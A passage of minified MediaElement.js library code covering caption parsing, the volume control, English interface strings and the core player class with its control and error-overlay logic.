0,a=0,s=t.length;a<s;a++){if((o=this.pattern.exec(t[a]))&&a<t.length){for(0<=a-1&&""!==t[a-1]&&(r=t[a-1]),i=t[++a],a++;""!==t[a]&&a<t.length;)i=i+"\n"+t[a],a++;i=null===i?"":i.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),n.push({identifier:r,start:0===(0,m.convertSMPTEtoSeconds)(o[1])?.2:(0,m.convertSMPTEtoSeconds)(o[1]),stop:(0,m.convertSMPTEtoSeconds)(o[3]),text:i,settings:o[5]})}r=""}return n}},dfxp:{parse:function(e){var t=(e=$(e).filter("tt")).firstChild,n=t.querySelectorAll("p"),o=e.getElementById(""+t.attr("style")),i=[],r=void 0;if(o.length){o.removeAttribute("id");var a=o.attributes;if(a.length){r={};for(var s=0,l=a.length;s<l;s++)r[a[s].name.split(":")[1]]=a[s].value}}for(var d=0,u=n.length;d<u;d++){var c=void 0,f={start:null,stop:null,style:null,text:null};if(n.eq(d).attr("begin")&&(f.start=(0,m.convertSMPTEtoSeconds)(n.eq(d).attr("begin"))),!f.start&&n.eq(d-1).attr("end")&&(f.start=(0,m.convertSMPTEtoSeconds)(n.eq(d-1).attr("end"))),n.eq(d).attr("end")&&(f.stop=(0,m.convertSMPTEtoSeconds)(n.eq(d).attr("end"))),!f.stop&&n.eq(d+1).attr("begin")&&(f.stop=(0,m.convertSMPTEtoSeconds)(n.eq(d+1).attr("begin"))),r)for(var p in c="",r)c+=p+":"+r[p]+";";c&&(f.style=c),0===f.start&&(f.start=.2),f.text=n.eq(d).innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),i.push(f)}return i}}}},{16:16,2:2,26:26,27:27,30:30,5:5,7:7}],14:[function(e,t,n){"use strict";var x=r(e(2)),o=e(16),i=r(o),w=r(e(5)),P=e(25),T=e(27),C=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{muteText:null,unmuteText:null,allyVolumeControlText:null,hideVolumeOnTouchDevices:!0,audioVolume:"horizontal",videoVolume:"vertical",startVolume:.8}),Object.assign(i.default.prototype,{buildvolume:function(e,t,n,o){if(!P.IS_ANDROID&&!P.IS_IOS||!this.options.hideVolumeOnTouchDevices){var a=this,s=a.isVideo?a.options.videoVolume:a.options.audioVolume,r=(0,T.isString)(a.options.muteText)?a.options.muteText:w.default.t("mejs.mute"),l=(0,T.isString)(a.options.unmuteText)?a.options.unmuteText:w.default.t("mejs.unmute"),i=(0,T.isString)(a.options.allyVolumeControlText)?a.options.allyVolumeControlText:w.default.t("mejs.volume-help-text"),d=x.default.createElement("div");if(d.className=a.options.classPrefix+"button "+a.options.classPrefix+"volume-button "+a.options.classPrefix+"mute",d.innerHTML="horizontal"===s?'<button type="button" aria-controls="'+a.id+'" title="'+r+'" aria-label="'+r+'" tabindex="0"></button>':'<button type="button" aria-controls="'+a.id+'" title="'+r+'" aria-label="'+r+'" tabindex="0"></button><a href="javascript:void(0);" class="'+a.options.classPrefix+'volume-slider" aria-label="'+w.default.t("mejs.volume-slider")+'" aria-valuemin="0" aria-valuemax="100" role="slider" aria-orientation="vertical"><span class="'+a.options.classPrefix+'offscreen">'+i+'</span><div class="'+a.options.classPrefix+'volume-total"><div class="'+a.options.classPrefix+'volume-current"></div><div class="'+a.options.classPrefix+'volume-handle"></div></div></a>',a.addControlElement(d,"volume"),a.options.keyActions.push({keys:[38],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&t.matches(":focus")&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.min(e.volume+.1,1);e.setVolume(n),0<n&&e.setMuted(!1)}},{keys:[40],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.max(e.volume-.1,0);e.setVolume(n),n<=.1&&e.setMuted(!0)}},{keys:[77],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer()),e.media.muted?e.setMuted(!1):e.setMuted(!0)}}),"horizontal"===s){var u=x.default.createElement("a");u.className=a.options.classPrefix+"horizontal-volume-slider",u.href="javascript:void(0);",u.setAttribute("aria-label",w.default.t("mejs.volume-slider")),u.setAttribute("aria-valuemin",0),u.setAttribute("aria-valuemax",100),u.setAttribute("aria-valuenow",100),u.setAttribute("role","slider"),u.innerHTML+='<span class="'+a.options.classPrefix+'offscreen">'+i+'</span><div class="'+a.options.classPrefix+'horizontal-volume-total"><div class="'+a.options.classPrefix+'horizontal-volume-current"></div><div class="'+a.options.classPrefix+'horizontal-volume-handle"></div></div>',d.parentNode.insertBefore(u,d.nextSibling)}var c=!1,f=!1,p=!1,m="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-slider"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-slider"),h="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-total"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-total"),v="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-current"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-current"),g="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-handle"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-handle"),y=function(e){if(null!==e&&!isNaN(e)&&void 0!==e){if(e=Math.max(0,e),0===(e=Math.min(e,1))){(0,C.removeClass)(d,a.options.classPrefix+"mute"),(0,C.addClass)(d,a.options.classPrefix+"unmute");var t=d.firstElementChild;t.setAttribute("title",l),t.setAttribute("aria-label",l)}else{(0,C.removeClass)(d,a.options.classPrefix+"unmute"),(0,C.addClass)(d,a.options.classPrefix+"mute");var n=d.firstElementChild;n.setAttribute("title",r),n.setAttribute("aria-label",r)}var o=100*e+"%",i=getComputedStyle(g);"vertical"===s?(v.style.bottom=0,v.style.height=o,g.style.bottom=o,g.style.marginBottom=-parseFloat(i.height)/2+"px"):(v.style.left=0,v.style.width=o,g.style.left=o,g.style.marginLeft=-parseFloat(i.width)/2+"px")}},E=function(e){var t=(0,C.offset)(h),n=getComputedStyle(h);p=!0;var o=null;if("vertical"===s){var i=parseFloat(n.height);if(o=(i-(e.pageY-t.top))/i,0===t.top||0===t.left)return}else{var r=parseFloat(n.width);o=(e.pageX-t.left)/r}o=Math.max(0,o),o=Math.min(o,1),y(o),a.setMuted(0===o),a.setVolume(o),e.preventDefault(),e.stopPropagation()},b=function(){a.muted?(y(0),(0,C.removeClass)(d,a.options.classPrefix+"mute"),(0,C.addClass)(d,a.options.classPrefix+"unmute")):(y(o.volume),(0,C.removeClass)(d,a.options.classPrefix+"unmute"),(0,C.addClass)(d,a.options.classPrefix+"mute"))};e.getElement(e.container).addEventListener("keydown",function(e){!!e.target.closest("."+a.options.classPrefix+"container")||"vertical"!==s||(m.style.display="none")}),d.addEventListener("mouseenter",function(e){e.target===d&&(m.style.display="block",f=!0,e.preventDefault(),e.stopPropagation())}),d.addEventListener("focusin",function(){m.style.display="block",f=!0}),d.addEventListener("focusout",function(e){e.relatedTarget&&(!e.relatedTarget||e.relatedTarget.matches("."+a.options.classPrefix+"volume-slider"))||"vertical"!==s||(m.style.display="none")}),d.addEventListener("mouseleave",function(){f=!1,c||"vertical"!==s||(m.style.display="none")}),d.addEventListener("focusout",function(){f=!1}),d.addEventListener("keydown",function(e){if(a.options.enableKeyboard&&a.options.keyActions.length){var t=e.which||e.keyCode||0,n=o.volume;switch(t){case 38:n=Math.min(n+.1,1);break;case 40:n=Math.max(0,n-.1);break;default:return!0}c=!1,y(n),o.setVolume(n),e.preventDefault(),e.stopPropagation()}}),d.querySelector("button").addEventListener("click",function(){o.setMuted(!o.muted);var e=(0,T.createEvent)("volumechange",o);o.dispatchEvent(e)}),m.addEventListener("dragstart",function(){return!1}),m.addEventListener("mouseover",function(){f=!0}),m.addEventListener("focusin",function(){m.style.display="block",f=!0}),m.addEventListener("focusout",function(){f=!1,c||"vertical"!==s||(m.style.display="none")}),m.addEventListener("mousedown",function(e){E(e),a.globalBind("mousemove.vol",function(e){var t=e.target;c&&(t===m||t.closest("vertical"===s?"."+a.options.classPrefix+"volume-slider":"."+a.options.classPrefix+"horizontal-volume-slider"))&&E(e)}),a.globalBind("mouseup.vol",function(){c=!1,f||"vertical"!==s||(m.style.display="none")}),c=!0,e.preventDefault(),e.stopPropagation()}),o.addEventListener("volumechange",function(e){var t;c||b(),t=Math.floor(100*o.volume),m.setAttribute("aria-valuenow",t),m.setAttribute("aria-valuetext",t+"%")});var S=!1;o.addEventListener("rendererready",function(){p||setTimeout(function(){S=!0,(0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),e.options.startVolume=0),o.setVolume(e.options.startVolume),a.setControlsSize()},250)}),o.addEventListener("loadedmetadata",function(){setTimeout(function(){p||S||((0===e.options.startVolume||o.originalNode.muted)&&o.setMuted(!0),o.setVolume(e.options.startVolume),a.setControlsSize()),S=!1},250)}),(0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),e.options.startVolume=0,b()),a.getElement(a.container).addEventListener("controlsresize",function(){b()})}}})},{16:16,2:2,25:25,26:26,27:27,5:5}],15:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}},{}],16:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.config=void 0;var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),S=r(e(3)),x=r(e(2)),f=r(e(7)),d=r(e(6)),a=r(e(17)),u=r(e(5)),w=e(25),m=e(27),c=e(30),p=e(28),P=function(e){{if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}}(e(26));function r(e){return e&&e.__esModule?e:{default:e}}f.default.mepIndex=0,f.default.players={};var s=n.config={poster:"",showPosterWhenEnded:!1,showPosterWhenPaused:!1,defaultVideoWidth:480,defaultVideoHeight:270,videoWidth:-1,videoHeight:-1,defaultAudioWidth:400,defaultAudioHeight:40,defaultSeekBackwardInterval:function(e){return.05*e.getDuration()},defaultSeekForwardInterval:function(e){return.05*e.getDuration()},setDimensions:!0,audioWidth:-1,audioHeight:-1,loop:!1,autoRewind:!0,enableAutosize:!0,timeFormat:"",alwaysShowHours:!1,showTimecodeFrameCount:!1,framesPerSecond:25,alwaysShowControls:!1,hideVideoControlsOnLoad:!1,hideVideoControlsOnPause:!1,clickToPlayPause:!0,controlsTimeoutDefault:1500,controlsTimeoutMouseEnter:2500,controlsTimeoutMouseLeave:1e3,iPadUseNativeControls:!1,iPhoneUseNativeControls:!1,AndroidUseNativeControls:!1,features:["playpause","current","progress","duration","tracks","volume","fullscreen"],useDefaultControls:!1,isVideo:!0,stretching:"auto",classPrefix:"mejs__",enableKeyboard:!0,pauseOtherPlayers:!0,secondsDecimalLength:0,customError:null,keyActions:[{keys:[32,179],action:function(e){w.IS_FIREFOX||(e.paused||e.ended?e.play():e.pause())}}]};f.default.MepDefaults=s;var l=function(){function r(e,t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,r);var n=this,o="string"==typeof e?x.default.getElementById(e):e;if(!(n instanceof r))return new r(o,t);if(n.node=n.media=o,n.node){if(n.media.player)return n.media.player;if(n.hasFocus=!1,n.controlsAreVisible=!0,n.controlsEnabled=!0,n.controlsTimer=null,n.currentMediaTime=0,n.proxy=null,void 0===t){var i=n.node.getAttribute("data-mejsoptions");t=i?JSON.parse(i):{}}return n.options=Object.assign({},s,t),n.options.loop&&!n.media.getAttribute("loop")?(n.media.loop=!0,n.node.loop=!0):n.media.loop&&(n.options.loop=!0),n.options.timeFormat||(n.options.timeFormat="mm:ss",n.options.alwaysShowHours&&(n.options.timeFormat="hh:mm:ss"),n.options.showTimecodeFrameCount&&(n.options.timeFormat+=":ff")),(0,c.calculateTimeFormat)(0,n.options,n.options.framesPerSecond||25),n.id="mep_"+f.default.mepIndex++,(f.default.players[n.id]=n).init(),n}}return o(r,[{key:"getElement",value:function(e){return e}},{key:"init",value:function(){var n=this,e=Object.assign({},n.options,{success:function(e,t){n._meReady(e,t)},error:function(e){n._handleError(e)}}),t=n.node.tagName.toLowerCase();if(n.isDynamic="audio"!==t&&"video"!==t&&"iframe"!==t,n.isVideo=n.isDynamic?n.options.isVideo:"audio"!==t&&n.options.isVideo,n.mediaFiles=null,n.trackFiles=null,w.IS_IPAD&&n.options.iPadUseNativeControls||w.IS_IPHONE&&n.options.iPhoneUseNativeControls)n.node.setAttribute("controls",!0),w.IS_IPAD&&n.node.getAttribute("autoplay")&&n.play();else if(!n.isVideo&&(n.isVideo||!n.options.features.length&&!n.options.useDefaultControls)||w.IS_ANDROID&&n.options.AndroidUseNativeControls)n.isVideo||n.options.features.length||n.options.useDefaultControls||(n.node.style.display="none");else{n.node.removeAttribute("controls");var o=n.isVideo?u.default.t("mejs.video-player"):u.default.t("mejs.audio-player"),i=x.default.createElement("span");if(i.className=n.options.classPrefix+"offscreen",i.innerText=o,n.media.parentNode.insertBefore(i,n.media),n.container=x.default.createElement("div"),n.getElement(n.container).id=n.id,n.getElement(n.container).className=n.options.classPrefix+"container "+n.options.classPrefix+"container-keyboard-inactive "+n.media.className,n.getElement(n.container).tabIndex=0,n.getElement(n.container).setAttribute("role","application"),n.getElement(n.container).setAttribute("aria-label",o),n.getElement(n.container).innerHTML='<div class="'+n.options.classPrefix+'inner"><div class="'+n.options.classPrefix+'mediaelement"></div><div class="'+n.options.classPrefix+'layers"></div><div class="'+n.options.classPrefix+'controls"></div></div>',n.getElement(n.container).addEventListener("focus",function(e){if(!n.controlsAreVisible&&!n.hasFocus&&n.controlsEnabled){n.showControls(!0);var t=(0,m.isNodeAfter)(e.relatedTarget,n.getElement(n.container))?"."+n.options.classPrefix+"controls ."+n.options.classPrefix+"button:last-child > button":"."+n.options.classPrefix+"playpause-button > button";n.getElement(n.container).querySelector(t).focus()}}),n.node.parentNode.insertBefore(n.getElement(n.container),n.node),n.options.features.length||n.options.useDefaultControls||(n.getElement(n.container).style.background="transparent",n.getElement(n.container).querySelector("."+n.options.classPrefix+"controls").style.display="none"),n.isVideo&&"fill"===n.options.stretching&&!P.hasClass(n.getElement(n.container).parentNode,n.options.classPrefix+"fill-container")){n.outerContainer=n.media.parentNode;var r=x.default.createElement("div");r.className=n.options.classPrefix+"fill-container",n.getElement(n.container).parentNode.insertBefore(r,n.getElement(n.container)),r.appendChild(n.getElement(n.container))}w.IS_ANDROID&&P.addClass(n.getElement(n.container),n.options.classPrefix+"android"),w.IS_IOS&&P.addClass(n.getElement(n.container),n.options.classPrefix+"ios"),w.IS_IPAD&&P.addClass(n.getElement(n.container),n.options.classPrefix+"ipad"),w.IS_IPHONE&&P.addClass(n.getElement(n.container),n.options.classPrefix+"iphone"),P.addClass(n.getElement(n.container),n.isVideo?n.options.classPrefix+"video":n.options.classPrefix+"audio"),n.getElement(n.container).querySelector("."+n.options.classPrefix+"mediaelement").appendChild(n.node),(n.media.player=n).controls=n.getElement(n.container).querySelector("."+n.options.classPrefix+"controls"),n.layers=n.getElement(n.container).querySelector("."+n.options.classPrefix+"layers");var a=n.isVideo?"video":"audio",s=a.substring(0,1).toUpperCase()+a.substring(1);0<n.options[a+"Width"]||-1<n.options[a+"Width"].toString().indexOf("%")?n.width=n.options[a+"Width"]:""!==n.node.style.width&&null!==n.node.style.width?n.width=n.node.style.width:n.node.getAttribute("width")?n.width=n.node.getAttribute("width"):n.width=n.options["default"+s+"Width"],0<n.options[a+"Height"]||-1<n.options[a+"Height"].toString().indexOf("%")?n.height=n.options[a+"Height"]:""!==n.node.style.height&&null!==n.node.style.height?n.height=n.node.style.height:n.node.getAttribute("height")?n.height=n.node.getAttribute("height"):n.height=n.options["default"+s+"Height"],n.initialAspectRatio=n.height>=n.width?n.width/n.height:n.height/n.width,n.setPlayerSize(n.width,n.height),e.pluginWidth=n.width,e.pluginHeight=n.height}if(f.default.MepDefaults=e,new d.default(n.media,e,n.mediaFiles),void 0!==n.getElement(n.container)&&n.options.features.length&&n.controlsAreVisible&&!n.options.hideVideoControlsOnLoad){var l=(0,m.createEvent)("controlsshown",n.getElement(n.container));n.getElement(n.container).dispatchEvent(l)}}},{key:"showControls",value:function(e){var i=this;if(e=void 0===e||e,!i.controlsAreVisible&&i.isVideo){if(e)!function(){P.fadeIn(i.getElement(i.controls),200,function(){P.removeClass(i.getElement(i.controls),i.options.classPrefix+"offscreen");var e=(0,m.createEvent)("controlsshown",i.getElement(i.container));i.getElement(i.container).dispatchEvent(e)});for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),e=function(e,t){P.fadeIn(n[e],200,function(){P.removeClass(n[e],i.options.classPrefix+"offscreen")})},t=0,o=n.length;t<o;t++)e(t)}();else{P.removeClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="",i.getElement(i.controls).style.opacity=1;for(var t=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),n=0,o=t.length;n<o;n++)P.removeClass(t[n],i.options.classPrefix+"offscreen"),t[n].style.display="";var r=(0,m.createEvent)("controlsshown",i.getElement(i.container));i.getElement(i.container).dispatchEvent(r)}i.controlsAreVisible=!0,i.setControlsSize()}}},{key:"hideControls",value:function(e,t){var i=this;if(e=void 0===e||e,!0===t||!(!i.controlsAreVisible||i.options.alwaysShowControls||i.paused&&4===i.readyState&&(!i.options.hideVideoControlsOnLoad&&i.currentTime<=0||!i.options.hideVideoControlsOnPause&&0<i.currentTime)||i.isVideo&&!i.options.hideVideoControlsOnLoad&&!i.readyState||i.ended)){if(e)!function(){P.fadeOut(i.getElement(i.controls),200,function(){P.addClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="";var e=(0,m.createEvent)("controlshidden",i.getElement(i.container));i.getElement(i.container).dispatchEvent(e)});for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),e=function(e,t){P.fadeOut(n[e],200,function(){P.addClass(n[e],i.options.classPrefix+"offscreen"),n[e].style.display=""})},t=0,o=n.length;t<o;t++)e(t)}();else{P.addClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="",i.getElement(i.controls).style.opacity=0;for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),o=0,r=n.length;o<r;o++)P.addClass(n[o],i.options.classPrefix+"offscreen"),n[o].style.display="";var a=(0,m.createEvent)("controlshidden",i.getElement(i.container));i.getElement(i.container).dispatchEvent(a)}i.controlsAreVisible=!1}}},{key:"startControlsTimer",value:function(e){var t=this;e=void 0!==e?e:t.options.controlsTimeoutDefault,t.killControlsTimer("start"),t.controlsTimer=setTimeout(function(){t.hideControls(),t.killControlsTimer("hide")},e)}},{key:"killControlsTimer",value:function(){null!==this.controlsTimer&&(clearTimeout(this.controlsTimer),delete this.controlsTimer,this.controlsTimer=null)}},{key:"disableControls",value:function(){this.killControlsTimer(),this.controlsEnabled=!1,this.hideControls(!1,!0)}},{key:"enableControls",value:function(){this.controlsEnabled=!0,this.showControls(!1)}},{key:"_setDefaultPlayer",value:function(){var e=this;e.proxy&&e.proxy.pause(),e.proxy=new a.default(e),e.media.addEventListener("loadedmetadata",function(){0<e.getCurrentTime()&&0<e.currentMediaTime&&(e.setCurrentTime(e.currentMediaTime),w.IS_IOS||w.IS_ANDROID||e.play())})}},{key:"_meReady",value:function(e,t){var n=this,o=t.getAttribute("autoplay"),i=!(null==o||"false"===o),r=null!==e.rendererName&&/(native|html5)/i.test(n.media.rendererName);if(n.getElement(n.controls)&&n.enableControls(),n.getElement(n.container)&&n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play")&&(n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play").style.display=""),!n.created){if(n.created=!0,n.media=e,n.domNode=t,!(w.IS_ANDROID&&n.options.AndroidUseNativeControls||w.IS_IPAD&&n.options.iPadUseNativeControls||w.IS_IPHONE&&n.options.iPhoneUseNativeControls)){if(!n.isVideo&&!n.options.features.length&&!n.options.useDefaultControls)return i&&r&&n.play(),void(n.options.success&&("string"==typeof n.options.success?S.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n)));if(n.featurePosition={},n._setDefaultPlayer(),n.buildposter(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildkeyboard(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildoverlays(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.options.useDefaultControls){var a=["playpause","current","progress","duration","tracks","volume","fullscreen"];n.options.features=a.concat(n.options.features.filter(function(e){return-1===a.indexOf(e)}))}n.buildfeatures(n,n.getElement(n.controls),n.getElement(n.layers),n.media);var s=(0,m.createEvent)("controlsready",n.getElement(n.container));n.getElement(n.container).dispatchEvent(s),n.setPlayerSize(n.width,n.height),n.setControlsSize(),n.isVideo&&(n.clickToPlayPauseCallback=function(){if(n.options.clickToPlayPause){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");n.paused&&t?n.pause():n.paused?n.play():n.pause(),e.setAttribute("aria-pressed",!t),n.getElement(n.container).focus()}},n.createIframeLayer(),n.media.addEventListener("click",n.clickToPlayPauseCallback),!w.IS_ANDROID&&!w.IS_IOS||n.options.alwaysShowControls?(n.getElement(n.container).addEventListener("mouseenter",function(){n.controlsEnabled&&(n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter)))}),n.getElement(n.container).addEventListener("mousemove",function(){n.controlsEnabled&&(n.controlsAreVisible||n.showControls(),n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("mouseleave",function(){n.controlsEnabled&&(n.paused||n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))})):n.node.addEventListener("touchstart",function(){n.controlsAreVisible?n.hideControls(!1):n.controlsEnabled&&n.showControls(!1)},!!w.SUPPORT_PASSIVE_EVENT&&{passive:!0}),n.options.hideVideoControlsOnLoad&&n.hideControls(!1),n.options.enableAutosize&&n.media.addEventListener("loadedmetadata",function(e){var t=void 0!==e?e.detail.target||e.target:n.media;n.options.videoHeight<=0&&!n.domNode.getAttribute("height")&&!n.domNode.style.height&&null!==t&&!isNaN(t.videoHeight)&&(n.setPlayerSize(t.videoWidth,t.videoHeight),n.setControlsSize(),n.media.setSize(t.videoWidth,t.videoHeight))})),n.media.addEventListener("play",function(){for(var e in n.hasFocus=!0,f.default.players)if(f.default.players.hasOwnProperty(e)){var t=f.default.players[e];t.id===n.id||!n.options.pauseOtherPlayers||t.paused||t.ended||!0===t.options.ignorePauseOtherPlayersOption||(t.pause(),t.hasFocus=!1)}w.IS_ANDROID||w.IS_IOS||n.options.alwaysShowControls||!n.isVideo||n.hideControls()}),n.media.addEventListener("ended",function(){if(n.options.autoRewind)try{n.setCurrentTime(0),setTimeout(function(){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-loading");e&&e.parentNode&&(e.parentNode.style.display="none")},20)}catch(e){}"function"==typeof n.media.renderer.stop?n.media.renderer.stop():n.pause(),n.setProgressRail&&n.setProgressRail(),n.setCurrentRail&&n.setCurrentRail(),n.options.loop?n.play():!n.options.alwaysShowControls&&n.controlsEnabled&&n.showControls()}),n.media.addEventListener("loadedmetadata",function(){(0,c.calculateTimeFormat)(n.getDuration(),n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.isFullScreen||(n.setPlayerSize(n.width,n.height),n.setControlsSize())});var l=null;n.media.addEventListener("timeupdate",function(){isNaN(n.getDuration())||l===n.getDuration()||(l=n.getDuration(),(0,c.calculateTimeFormat)(l,n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.setControlsSize())}),n.getElement(n.container).addEventListener("click",function(e){P.addClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive")}),n.getElement(n.container).addEventListener("focusin",function(e){P.removeClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive"),!n.isVideo||w.IS_ANDROID||w.IS_IOS||!n.controlsEnabled||n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("focusout",function(e){setTimeout(function(){e.relatedTarget&&n.keyboardAction&&!e.relatedTarget.closest("."+n.options.classPrefix+"container")&&(n.keyboardAction=!1,!n.isVideo||n.options.alwaysShowControls||n.paused||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))},0)}),setTimeout(function(){n.setPlayerSize(n.width,n.height),n.setControlsSize()},0),n.globalResizeCallback=function(){n.isFullScreen||w.HAS_TRUE_NATIVE_FULLSCREEN&&x.default.webkitIsFullScreen||n.setPlayerSize(n.width,n.height),n.setControlsSize()},n.globalBind("resize",n.globalResizeCallback)}i&&r&&n.play(),n.options.success&&("string"==typeof n.options.success?S.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n))}}},{key:"_handleError",value:function(e,t,n){var o=this,i=o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-play");i&&(i.style.display="none"),o.options.error&&o.options.error(e,t,n),o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay")&&o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay").remove();var r=x.default.createElement("div");r.className=o.options.classPrefix+"cannotplay",r.style.width="100%",r.style.height="100%";var a="function"==typeof o.options.customError?o.options.customError(o.media,o.media.originalNode):o.options.customError,s="";if(!a){var l=o.media.originalNode.getAttribute("poster");if(l&&(s='<img src="'+l+'" alt="'+f.default.i18n.t("mejs.download-file")+'">'),e.message&&(a="<p>"+e.message+"</p>"),e.urls)for(var d=0,u=e.urls.length;d<u;d++){var c=e.urls[d];a+='<a href="'+c.src+'" data-type="'+c.type+'"><span>'+f.default.i18n.t("mejs.download-file")+": "+c.src+"</span></a>"}}a&&o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error")&&(r.innerHTML=a,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").innerHTML=""+s+r.outerHTML,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").parentNode.style.display="block"),o.controlsEnabled&&o.disableControls()}},{key:"setPlayerSize",value:function(e,t){var 